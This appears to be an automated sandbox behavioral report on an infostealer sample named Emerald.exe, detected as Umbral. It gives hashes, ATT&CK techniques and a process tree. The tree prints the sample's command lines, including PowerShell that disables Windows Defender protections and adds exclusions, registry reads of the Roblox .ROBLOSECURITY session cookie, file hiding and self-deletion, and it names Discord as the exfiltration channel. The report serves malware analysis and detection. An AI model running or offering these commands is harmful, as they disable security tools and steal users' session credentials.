Analysis
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max time kernel
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max time network
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platform
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resource
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resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
13-09-2024 07:48
Behavioral task
behavioral1
Sample
Emerald X/Emerald.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Emerald X/Emerald.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
Emerald X/Injector.exe
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
Emerald X/Injector.exe
Resource
win10v2004-20240802-en
General
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Target
Emerald X/Emerald.exe
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Size
229KB
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MD5
f50a9b0c2670af5b0e3371ecdcebed27
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SHA1
e114834c05d2e86db3c3d45ccbd46a7c32950167
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SHA256
abbf1cd65c8d762019873c47b45e374d0c75cb28ddf754a8ddb35501f3cb63b2
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SHA512
21784568e5f27bbd0235fb37d7a7381055da13f27c00b6399bbb09b286bc58a965f00bb925950855392aad57678d34ccd0de4d13b10f9ae7503bc192143a90c6
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SSDEEP
6144:lloZM+rIkd8g+EtXHkv/iD4eudRU69VecbGkFZwEPb8e1moi:noZtL+EP8eudRU69VecbGkFZwWq
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/2856-1-0x0000000000820000-0x0000000000860000-memory.dmp family_umbral -
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2604 powershell.exe 484 powershell.exe 2028 powershell.exe 2996 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Emerald.exe -
Deletes itself 1 IoCs
pid Process 552 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 7 discord.com 8 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 4 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 552 cmd.exe 1912 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2428 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1912 PING.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2856 Emerald.exe 2604 powershell.exe 484 powershell.exe 2028 powershell.exe 2824 powershell.exe 2996 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2856 Emerald.exe Token: SeIncreaseQuotaPrivilege 2912 wmic.exe Token: SeSecurityPrivilege 2912 wmic.exe Token: SeTakeOwnershipPrivilege 2912 wmic.exe Token: SeLoadDriverPrivilege 2912 wmic.exe Token: SeSystemProfilePrivilege 2912 wmic.exe Token: SeSystemtimePrivilege 2912 wmic.exe Token: SeProfSingleProcessPrivilege 2912 wmic.exe Token: SeIncBasePriorityPrivilege 2912 wmic.exe Token: SeCreatePagefilePrivilege 2912 wmic.exe Token: SeBackupPrivilege 2912 wmic.exe Token: SeRestorePrivilege 2912 wmic.exe Token: SeShutdownPrivilege 2912 wmic.exe Token: SeDebugPrivilege 2912 wmic.exe Token: SeSystemEnvironmentPrivilege 2912 wmic.exe Token: SeRemoteShutdownPrivilege 2912 wmic.exe Token: SeUndockPrivilege 2912 wmic.exe Token: SeManageVolumePrivilege 2912 wmic.exe Token: 33 2912 wmic.exe Token: 34 2912 wmic.exe Token: 35 2912 wmic.exe Token: SeIncreaseQuotaPrivilege 2912 wmic.exe Token: SeSecurityPrivilege 2912 wmic.exe Token: SeTakeOwnershipPrivilege 2912 wmic.exe Token: SeLoadDriverPrivilege 2912 wmic.exe Token: SeSystemProfilePrivilege 2912 wmic.exe Token: SeSystemtimePrivilege 2912 wmic.exe Token: SeProfSingleProcessPrivilege 2912 wmic.exe Token: SeIncBasePriorityPrivilege 2912 wmic.exe Token: SeCreatePagefilePrivilege 2912 wmic.exe Token: SeBackupPrivilege 2912 wmic.exe Token: SeRestorePrivilege 2912 wmic.exe Token: SeShutdownPrivilege 2912 wmic.exe Token: SeDebugPrivilege 2912 wmic.exe Token: SeSystemEnvironmentPrivilege 2912 wmic.exe Token: SeRemoteShutdownPrivilege 2912 wmic.exe Token: SeUndockPrivilege 2912 wmic.exe Token: SeManageVolumePrivilege 2912 wmic.exe Token: 33 2912 wmic.exe Token: 34 2912 wmic.exe Token: 35 2912 wmic.exe Token: SeDebugPrivilege 2604 powershell.exe Token: SeDebugPrivilege 484 powershell.exe Token: SeDebugPrivilege 2028 powershell.exe Token: SeDebugPrivilege 2824 powershell.exe Token: SeIncreaseQuotaPrivilege 2948 wmic.exe Token: SeSecurityPrivilege 2948 wmic.exe Token: SeTakeOwnershipPrivilege 2948 wmic.exe Token: SeLoadDriverPrivilege 2948 wmic.exe Token: SeSystemProfilePrivilege 2948 wmic.exe Token: SeSystemtimePrivilege 2948 wmic.exe Token: SeProfSingleProcessPrivilege 2948 wmic.exe Token: SeIncBasePriorityPrivilege 2948 wmic.exe Token: SeCreatePagefilePrivilege 2948 wmic.exe Token: SeBackupPrivilege 2948 wmic.exe Token: SeRestorePrivilege 2948 wmic.exe Token: SeShutdownPrivilege 2948 wmic.exe Token: SeDebugPrivilege 2948 wmic.exe Token: SeSystemEnvironmentPrivilege 2948 wmic.exe Token: SeRemoteShutdownPrivilege 2948 wmic.exe Token: SeUndockPrivilege 2948 wmic.exe Token: SeManageVolumePrivilege 2948 wmic.exe Token: 33 2948 wmic.exe Token: 34 2948 wmic.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 2856 wrote to memory of 2912 2856 Emerald.exe 30 PID 2856 wrote to memory of 2912 2856 Emerald.exe 30 PID 2856 wrote to memory of 2912 2856 Emerald.exe 30 PID 2856 wrote to memory of 2584 2856 Emerald.exe 33 PID 2856 wrote to memory of 2584 2856 Emerald.exe 33 PID 2856 wrote to memory of 2584 2856 Emerald.exe 33 PID 2856 wrote to memory of 2604 2856 Emerald.exe 35 PID 2856 wrote to memory of 2604 2856 Emerald.exe 35 PID 2856 wrote to memory of 2604 2856 Emerald.exe 35 PID 2856 wrote to memory of 484 2856 Emerald.exe 37 PID 2856 wrote to memory of 484 2856 Emerald.exe 37 PID 2856 wrote to memory of 484 2856 Emerald.exe 37 PID 2856 wrote to memory of 2028 2856 Emerald.exe 39 PID 2856 wrote to memory of 2028 2856 Emerald.exe 39 PID 2856 wrote to memory of 2028 2856 Emerald.exe 39 PID 2856 wrote to memory of 2824 2856 Emerald.exe 41 PID 2856 wrote to memory of 2824 2856 Emerald.exe 41 PID 2856 wrote to memory of 2824 2856 Emerald.exe 41 PID 2856 wrote to memory of 2948 2856 Emerald.exe 43 PID 2856 wrote to memory of 2948 2856 Emerald.exe 43 PID 2856 wrote to memory of 2948 2856 Emerald.exe 43 PID 2856 wrote to memory of 2064 2856 Emerald.exe 45 PID 2856 wrote to memory of 2064 2856 Emerald.exe 45 PID 2856 wrote to memory of 2064 2856 Emerald.exe 45 PID 2856 wrote to memory of 1144 2856 Emerald.exe 47 PID 2856 wrote to memory of 1144 2856 Emerald.exe 47 PID 2856 wrote to memory of 1144 2856 Emerald.exe 47 PID 2856 wrote to memory of 2996 2856 Emerald.exe 49 PID 2856 wrote to memory of 2996 2856 Emerald.exe 49 PID 2856 wrote to memory of 2996 2856 Emerald.exe 49 PID 2856 wrote to memory of 2428 2856 Emerald.exe 51 PID 2856 wrote to memory of 2428 2856 Emerald.exe 51 PID 2856 wrote to memory of 2428 2856 Emerald.exe 51 PID 2856 wrote to memory of 552 2856 Emerald.exe 53 PID 2856 wrote to memory of 552 2856 Emerald.exe 53 PID 2856 wrote to memory of 552 2856 Emerald.exe 53 PID 552 wrote to memory of 1912 552 cmd.exe 55 PID 552 wrote to memory of 1912 552 cmd.exe 55 PID 552 wrote to memory of 1912 552 cmd.exe 55 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2584 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe"C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2912
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C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe"2⤵
- Views/modifies file attributes
PID:2584
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2604
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:484
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2028
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2948
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:2064
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:1144
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2996
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:2428
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C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe" && pause2⤵
- Deletes itself
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEping localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1912
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD507f15f1a3c11b0eee16a6bb112aaad95
SHA1749ecb8ecc05e47ef32f3f0b3d21e6a47c91725c
SHA256ed708727c1ee1df5fadeda9916bacf465a2fe6e445cdc7bc857f91a6d966ca66
SHA5128a4546cee7fa1878b0273af5561b1341c7ba14b0546a7338f09a48956459ff0e9a6dd69c5f04151ff18ba781fcd7964e0123cbd7c525aa43766155f374bc44d9